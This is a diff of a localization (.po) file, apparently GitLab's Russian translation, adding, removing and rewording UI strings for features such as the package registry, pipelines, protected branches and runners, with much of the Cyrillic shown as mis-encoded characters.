+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr "Показать веÑÑŒ файл"
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr "Режим обÑлуживаниÑ"
@@ -20373,9 +20082,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "МакÑимальный уровень доÑтупа"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð·Ð°Ð´ÐµÑ€Ð¶ÐºÐ° (в минутах)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾ÑÑ‚ÑŒ ÑеÑÑии."
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20700,6 +20409,9 @@ msgstr "МакÑимальный тайм-аут Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð¸Ð¼ÐµÐµÑ‚ знÐ
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr "ИзмерÑетÑÑ Ð² байтах кода. ИÑключает Ñгенерированный и вендорÑкий код."
-msgid "Median"
-msgstr "Среднее"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21541,9 +21250,6 @@ msgstr "например, запроÑов в Ñекунду"
msgid "Mi"
msgstr "Ми"
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Этап %{milestoneTitle} не найден"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr "Ðайдено неÑколько типов моделей: %{model_typ
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "Ðайдено неÑколько загрузчиков: %{uploader_types}"
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr "Заголовок нового обÑуждениÑ"
msgid "New iteration"
msgstr "ÐÐ¾Ð²Ð°Ñ Ð¸Ñ‚ÐµÑ€Ð°Ñ†Ð¸Ñ"
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr "ÐÐ¾Ð²Ð°Ñ Ð¸Ñ‚ÐµÑ€Ð°Ñ†Ð¸Ñ Ñоздана"
@@ -22459,7 +22153,7 @@ msgstr "ÐÐ¾Ð²Ð°Ñ Ñтап"
msgid "New password"
msgstr "Ðовый пароль"
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr "СвÑзанные запроÑÑ‹ на ÑлиÑние не найденÑ
msgid "No repository"
msgstr "Ðет репозиториÑ"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr "Ðичего не найдено…"
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Ð£Ð²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ Ð¾ ÑобытиÑÑ…"
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr "Копировать команду наÑтройки NuGet"
msgid "PackageRegistry|Copy Pip command"
msgstr "Копировать команду pip"
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr "Копировать команду наÑтройки yarn"
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr "Удалить верÑию пакета"
@@ -23877,9 +23571,6 @@ msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информацÐ
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr "Команда NuGet"
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr "Команда pip"
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr "Извините, ваш фильтр иÑключил вÑе результаты"
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr "Ðевозможно загрузить пакет"
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr "ПриоÑтановить"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr "ПриоÑтановить репликацию"
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Ð’Ñего:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,10 +24285,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24870,14 +24579,14 @@ msgstr "Ñ Ñтапом"
msgid "Pipeline|with stages"
msgstr "Ñ Ñтапами"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "Разделенный запÑтыми ÑпиÑок ветвей, которые будут автоматичеÑки проверÑÑ‚ÑŒÑÑ. ОÑтавьте пуÑтым, чтобы включить вÑе ветви."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
+msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
-msgstr "API токен Pivotal Tracker."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
+msgstr ""
msgid "Plain diff"
msgstr "ПроÑтое отличие"
@@ -24921,10 +24630,10 @@ msgstr "ПожалуйÑта, проверьте файл конфигураци
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24936,6 +24645,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr "Изменить профиль"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "Введите ваше имÑ, чтобы люди, которых вы знаете, могли раÑпознать ваÑ"
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð°ÑƒÐ´Ð¸Ñ‚Ð° проекта"
-
msgid "Project Badges"
msgstr "Значки Проекта"
@@ -25863,6 +25578,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr "Репозитории проекта и вики"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Ðватар проекта"
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr "ОпиÑание проекта (необÑзательно)"
-msgid "Project details"
-msgstr "Детали проекта"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25926,15 +25641,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr "Обзор проекта"
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Ðикогда"
-msgid "ProjectLifecycle|Stage"
-msgstr "Этап"
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26601,9 +26307,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr "Создать из шаблона"
@@ -26619,9 +26322,6 @@ msgstr "Импорт"
msgid "ProjectsNew|Import project"
msgstr "Импортировать проект"
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Добавить README файл"
@@ -26706,21 +26406,18 @@ msgstr "Были найдены %{exporters} Ñ %{metrics}"
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "Общие метрики"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "Общие метрики ÑобираютÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки на оÑнове популÑрных библиотек метрик."
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "ÐаÑтраиваемые метрики"
@@ -26736,18 +26433,9 @@ msgstr "Определение и наÑтройка метрик..."
msgid "PrometheusService|Finding custom metrics..."
msgstr "ПоиÑк наÑтраиваемых метрик..."
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "УÑтановить Prometheus на клаÑтеры"
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26763,9 +26451,6 @@ msgstr "Пропущена Ð¿ÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ"
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "Ðе Ñоздано ни одной наÑтраиваемой метрики. Создайте её, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ выше"
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "Эти показатели будут отÑлеживатьÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ поÑле вашего первого Ñ€Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð² окружении"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr "Ожидание вашего первого развёртываниÑ
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr "ПовыÑить"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26832,9 +26520,6 @@ msgstr "Проект не принадлежит группе."
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr "ÐŸÐµÑ€ÐµÐ½Ð¾Ñ Ð½Ðµ выполнен -%{message}"
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26958,13 +26643,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr "Ветка"
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr "Одобрение владельцем кода"
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr "Защитить"
@@ -27000,6 +26697,9 @@ msgstr "Защитить ветку"
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr "ТребуетÑÑ Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ðµ от владельцев код
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "Ðа данный момент нет защищённых веток, защитите ветку Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ формы Ñверху."
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "Переключить утверждение владельцами кода"
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} будет доÑтупно Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚Ñ‡Ð¸ÐºÐ°Ð¼Ð¸. Ð’Ñ‹ уверены?"
@@ -27060,18 +26763,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
-msgstr "Протокол"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "Провайдер"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr "РегиÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð¿Ñ€Ð¸ помощи приложениÑ"
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr ""
msgid "Related Issues"
msgstr "СвÑзанные ОбÑуждениÑ"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27686,6 +27407,9 @@ msgstr ""
msgid "Remove limit"
msgstr "Убрать лимит"
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr ""
msgid "Remove milestone"
msgstr "Удалить Ñтап"
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr "Удалить родительÑкую цель"
-msgid "Remove primary node"
-msgstr "Удалить оÑновной узел"
-
msgid "Remove priority"
msgstr ""
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr "Удалить потраченное времÑ"
@@ -27875,15 +27590,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
-msgstr "ВоÑÑтановить аутентификацию"
-
msgid "Replace"
msgstr "Заменить"
+msgid "Replace %{name}"
+msgstr ""
+
msgid "Replace all label(s)"
msgstr "Заменить вÑе метки"
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27893,15 +27611,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28313,6 +28022,9 @@ msgstr[3] "Ðеобходимо %d подтверждений."
msgid "Requires values to meet regular expression requirements."
msgstr "Требует, чтобы Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ ÑоответÑтвовали регулÑрному выражению."
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr "Продолжить"
msgid "Resync"
msgstr "РеÑинхронизировать"
-msgid "Resync all"
-msgstr "РеÑинхронизировать вÑе"
-
-msgid "Resync all %{replicableType}"
-msgstr "РеÑинхронизировать вÑе %{replicableType}"
-
msgid "Retry"
msgstr "Повторить"
@@ -28484,9 +28190,6 @@ msgstr "Повторить Ñто фоновое задание"
msgid "Retry this job in order to create the necessary resources."
msgstr "Повторите Ñту задание, чтобы Ñоздать необходимые реÑурÑÑ‹."
-msgid "Retry update"
-msgstr "Повторить попытку обновлениÑ"
-
msgid "Retry verification"
msgstr ""
@@ -28585,6 +28288,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr "Удаление"
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28594,9 +28300,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28640,10 +28343,10 @@ msgid "Runner was not deleted because it is assigned to multiple projects."
msgstr ""
msgid "Runner was not updated."
-msgstr "Обработчик заданий не был обновлен."
+msgstr "Runner не был обновлён."
msgid "Runner was successfully updated."
-msgstr "Обработчик заданий уÑпешно обновлен."
+msgstr "Runner уÑпешно обновлён."
msgid "Runners"
msgstr "Runner'Ñ‹"
@@ -28663,12 +28366,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
